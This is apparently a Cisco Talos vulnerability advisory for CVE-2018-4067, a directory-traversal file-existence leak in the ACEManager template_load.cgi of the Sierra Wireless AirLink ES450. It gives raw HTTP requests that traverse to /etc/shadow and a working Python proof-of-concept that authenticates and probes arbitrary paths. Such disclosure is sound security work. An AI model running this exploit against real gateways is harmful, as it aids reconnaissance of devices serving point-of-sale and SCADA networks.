Sierra Wireless AirLink ES450 ACEManager template_load.cgi Information Disclosure

`Talos Vulnerability Report  
  
TALOS-2018-0752  
  
Sierra Wireless AirLink ES450 ACEManager template_load.cgi Information Disclosure Vulnerability  
April 25, 2019  
  
CVE Number  
  
CVE-2018-4067  
  
Summary  
  
An exploitable information disclosure vulnerability exists in the ACEManager template_load.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a information leak, resulting in the disclosure of internal paths and files. An attacker can make an authenticated HTTP request to trigger this vulnerability.  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
5.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N  
CWE  
  
CWE-200: Information Exposure  
  
Details  
  
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.  
  
The /cgi-bin/template_load.cgi binary is responsible for loading the previously uploaded template file to be used for configuration of the device. If we bypass the upload stage of the process and utilize template_load.cgi directly we can disclosure internal paths on the device with directory traversal within the path parameter. The requests below show a file that does not exist, as well as a file that does exist. The error messages disclose the information we need to determine if a file exists at the provided path or not.  
File does not exist  
  
POST /cgi-bin/template_load.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/plain, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 40  
Cookie: token=e9fa78d203adc768483d1409ac904133  
Connection: close  
  
path=/www/auth/user/../../../etc/shadows  
  
---------------------------------------------------------------  
HTTP/1.1 200 OK  
Status: 501 Internal Error  
  
Cannot open /www/auth/user/../../../etc/shadows for reading  
  
File exists  
  
POST /cgi-bin/template_load.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/plain, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 40  
Cookie: token=e9fa78d203adc768483d1409ac904133  
Connection: close  
  
path=/www/auth/user/../../../etc/shadow  
  
---------------------------------------------------------------  
HTTP/1.1 200 OK  
Status: 400 Bad Request  
  
Template document structure is incorrect or unrecognizable  
  
These vulnerabilities were discovered and tested using the AirLink ES450. Most likely this vulnerabilities also affects the AirLink GX450 product as well.  
  
Exploit Proof of Concept  
  
#!/usr/bin/env python  
#Author : Carl Hurd, Cisco Talos  
import sys  
import requests  
  
def auth(ip, port, password):  
data = """<request xmlns="urn:acemanager">  
<connect>  
<login>user</login>  
<password><![CDATA[{}]]></password>  
</connect>  
</request>""".format(password)  
  
response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)  
  
try:  
cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])  
return cookies  
except:  
print("Error while authenticating")  
sys.exit(0)  
  
def main():  
if len(sys.argv) < 5 or len(sys.argv) > 5:  
print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))  
sys.exit(0)  
  
ip = sys.argv[1]  
port = sys.argv[2]  
password = sys.argv[3]  
path = sys.argv[4]  
  
print("Path : {}\n".format(path))  
  
cookies = auth(ip, port, password)  
  
data = "path=/www/auth/user/../../.." + path  
response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"})  
  
if "501" in response.headers["Status"]:  
print("{} : Does not exist".format(path))  
elif "400" in response.headers["Status"]:  
print("{} : Does exist".format(path))  
else:  
print("Unexpected status received!")  
  
if __name__ == "__main__":  
main()  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
Credit  
  
Discovered by Carl Hurd and Jared Rittle of Cisco Talos.  
`